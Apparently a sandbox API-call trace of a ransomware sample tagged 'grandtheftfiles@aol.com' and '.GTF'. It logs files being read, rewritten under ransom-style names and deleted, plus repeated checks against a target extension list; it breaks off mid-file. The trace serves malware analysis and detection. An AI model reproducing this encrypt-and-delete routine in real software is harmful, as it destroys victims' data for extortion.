	[0060.559] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0060.559] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0060.559] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.559] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.559] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.609] GetLastError () returned 0x0
	[0060.609] ReadFile (in: hFile=0x2c0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x81, lpOverlapped=0x0) returned 1
	[0060.624] WriteFile (in: hFile=0x2c8, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x90, lpOverlapped=0x0) returned 1
	[0060.625] ReadFile (in: hFile=0x2c0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.625] WriteFile (in: hFile=0x2c8, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xea, lpOverlapped=0x0) returned 1
	[0060.625] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.625] CloseHandle (hObject=0x2c8) returned 1
	[0060.626] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.626] SetEndOfFile (hFile=0x2c0) returned 1
	[0060.627] CloseHandle (hObject=0x2c0) returned 1
	[0060.627] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x26) returned 1
	[0060.628] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1
	[0060.628] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.628] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.628] lstrlenW (lpString=".doc") returned 4
	[0060.628] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.628] lstrlenW (lpString=".docx") returned 5
	[0060.628] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.628] lstrlenW (lpString=".pdf") returned 4
	[0060.628] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.628] lstrlenW (lpString=".xls") returned 4
	[0060.628] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.628] lstrlenW (lpString=".xlsx") returned 5
	[0060.628] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.628] lstrlenW (lpString=".ppt") returned 4
	[0060.628] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.628] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.628] lstrlenW (lpString=".zip") returned 4
	[0060.628] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.628] lstrlenW (lpString=".rar") returned 4
	[0060.628] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.628] lstrlenW (lpString=".bz2") returned 4
	[0060.628] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.628] lstrlenW (lpString=".7z") returned 3
	[0060.629] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.629] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.629] lstrlenW (lpString=".dbf") returned 4
	[0060.629] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.629] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.629] lstrlenW (lpString=".1cd") returned 4
	[0060.629] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.629] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.629] lstrlenW (lpString=".jpg") returned 4
	[0060.629] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.629] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.629] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.629] lstrlenW (lpString=".doc") returned 4
	[0060.629] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.629] lstrlenW (lpString=".docx") returned 5
	[0060.629] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.629] lstrlenW (lpString=".pdf") returned 4
	[0060.629] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.629] lstrlenW (lpString=".xls") returned 4
	[0060.629] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.629] lstrlenW (lpString=".xlsx") returned 5
	[0060.629] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.629] lstrlenW (lpString=".ppt") returned 4
	[0060.629] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.629] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.629] lstrlenW (lpString=".zip") returned 4
	[0060.629] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.629] lstrlenW (lpString=".rar") returned 4
	[0060.629] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.629] lstrlenW (lpString=".bz2") returned 4
	[0060.629] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.629] lstrlenW (lpString=".7z") returned 3
	[0060.629] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.629] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.629] lstrlenW (lpString=".dbf") returned 4
	[0060.629] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.630] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.630] lstrlenW (lpString=".1cd") returned 4
	[0060.630] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.630] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.630] lstrlenW (lpString=".jpg") returned 4
	[0060.630] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.630] Sleep (dwMilliseconds=0x64) 
	[0060.849] Sleep (dwMilliseconds=0x64) 
	[0062.221] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0062.222] lstrlenW (lpString="eula.rtf") returned 8
	[0062.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.223] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7567) returned 1
	[0062.223] CloseHandle (hObject=0x2f0) returned 1
	[0062.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80
	[0062.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.223] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.223] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.224] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0062.226] GetLastError () returned 0x0
	[0062.226] ReadFile (in: hFile=0x2f0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0062.228] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0062.229] ReadFile (in: hFile=0x2f0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.230] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.230] SetEndOfFile (hFile=0x2f4) returned 1
	[0062.230] CloseHandle (hObject=0x2f4) returned 1
	[0062.231] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.231] SetEndOfFile (hFile=0x2f0) returned 1
	[0062.232] CloseHandle (hObject=0x2f0) returned 1
	[0062.232] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0062.232] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString=".doc") returned 4
	[0062.233] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString=".docx") returned 5
	[0062.233] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.233] lstrlenW (lpString=".pdf") returned 4
	[0062.233] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString=".xls") returned 4
	[0062.233] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.233] lstrlenW (lpString=".xlsx") returned 5
	[0062.233] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.233] lstrlenW (lpString=".ppt") returned 4
	[0062.233] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString=".zip") returned 4
	[0062.233] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.233] lstrlenW (lpString=".rar") returned 4
	[0062.233] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString=".bz2") returned 4
	[0062.233] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString=".7z") returned 3
	[0062.233] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString=".dbf") returned 4
	[0062.233] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString=".1cd") returned 4
	[0062.233] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString=".jpg") returned 4
	[0062.233] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.233] lstrlenW (lpString=".doc") returned 4
	[0062.234] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.234] lstrlenW (lpString=".docx") returned 5
	[0062.234] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.234] lstrlenW (lpString=".pdf") returned 4
	[0062.234] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.234] lstrlenW (lpString=".xls") returned 4
	[0062.234] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.234] lstrlenW (lpString=".xlsx") returned 5
	[0062.234] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.234] lstrlenW (lpString=".ppt") returned 4
	[0062.234] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.234] lstrlenW (lpString=".zip") returned 4
	[0062.234] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.234] lstrlenW (lpString=".rar") returned 4
	[0062.234] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.234] lstrlenW (lpString=".bz2") returned 4
	[0062.234] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.234] lstrlenW (lpString=".7z") returned 3
	[0062.234] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.234] lstrlenW (lpString=".dbf") returned 4
	[0062.234] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.234] lstrlenW (lpString=".1cd") returned 4
	[0062.234] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0062.234] lstrlenW (lpString=".jpg") returned 4
	[0062.234] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.234] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0062.235] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.237] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=74214) returned 1
	[0062.237] CloseHandle (hObject=0x2f0) returned 1
	[0062.237] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80
	[0062.237] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.237] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.237] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.237] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.237] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0062.237] GetLastError () returned 0x0
	[0062.237] ReadFile (in: hFile=0x2f0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x121e6, lpOverlapped=0x0) returned 1
	[0062.241] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x121f0, lpOverlapped=0x0) returned 1
	[0062.243] ReadFile (in: hFile=0x2f0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.243] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.243] SetEndOfFile (hFile=0x2f4) returned 1
	[0062.243] CloseHandle (hObject=0x2f4) returned 1
	[0062.246] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.246] SetEndOfFile (hFile=0x2f0) returned 1
	[0062.247] CloseHandle (hObject=0x2f0) returned 1
	[0062.247] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0062.247] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1
	[0062.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.248] lstrlenW (lpString=".doc") returned 4
	[0062.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString=".docx") returned 5
	[0062.248] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.248] lstrlenW (lpString=".pdf") returned 4
	[0062.248] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString=".xls") returned 4
	[0062.248] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString=".xlsx") returned 5
	[0062.248] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.248] lstrlenW (lpString=".ppt") returned 4
	[0062.248] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.248] lstrlenW (lpString=".zip") returned 4
	[0062.248] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.248] lstrlenW (lpString=".rar") returned 4
	[0062.248] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString=".bz2") returned 4
	[0062.248] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString=".7z") returned 3
	[0062.248] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.248] lstrlenW (lpString=".dbf") returned 4
	[0062.248] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.248] lstrlenW (lpString=".1cd") returned 4
	[0062.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.248] lstrlenW (lpString=".jpg") returned 4
	[0062.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.248] lstrlenW (lpString=".doc") returned 4
	[0062.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.248] lstrlenW (lpString=".docx") returned 5
	[0062.248] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.249] lstrlenW (lpString=".pdf") returned 4
	[0062.249] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.249] lstrlenW (lpString=".xls") returned 4
	[0062.249] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.249] lstrlenW (lpString=".xlsx") returned 5
	[0062.249] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.249] lstrlenW (lpString=".ppt") returned 4
	[0062.249] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.249] lstrlenW (lpString=".zip") returned 4
	[0062.249] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.249] lstrlenW (lpString=".rar") returned 4
	[0062.249] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.249] lstrlenW (lpString=".bz2") returned 4
	[0062.249] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.249] lstrlenW (lpString=".7z") returned 3
	[0062.249] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.249] lstrlenW (lpString=".dbf") returned 4
	[0062.249] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.249] lstrlenW (lpString=".1cd") returned 4
	[0062.249] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0062.249] lstrlenW (lpString=".jpg") returned 4
	[0062.249] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.249] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0062.249] lstrlenW (lpString="eula.rtf") returned 8
	[0062.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.250] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6309) returned 1
	[0062.250] CloseHandle (hObject=0x2f0) returned 1
	[0062.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80
	[0062.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.250] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.250] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0062.253] GetLastError () returned 0x0
	[0062.253] ReadFile (in: hFile=0x2f0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0062.279] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x18b0, lpOverlapped=0x0) returned 1
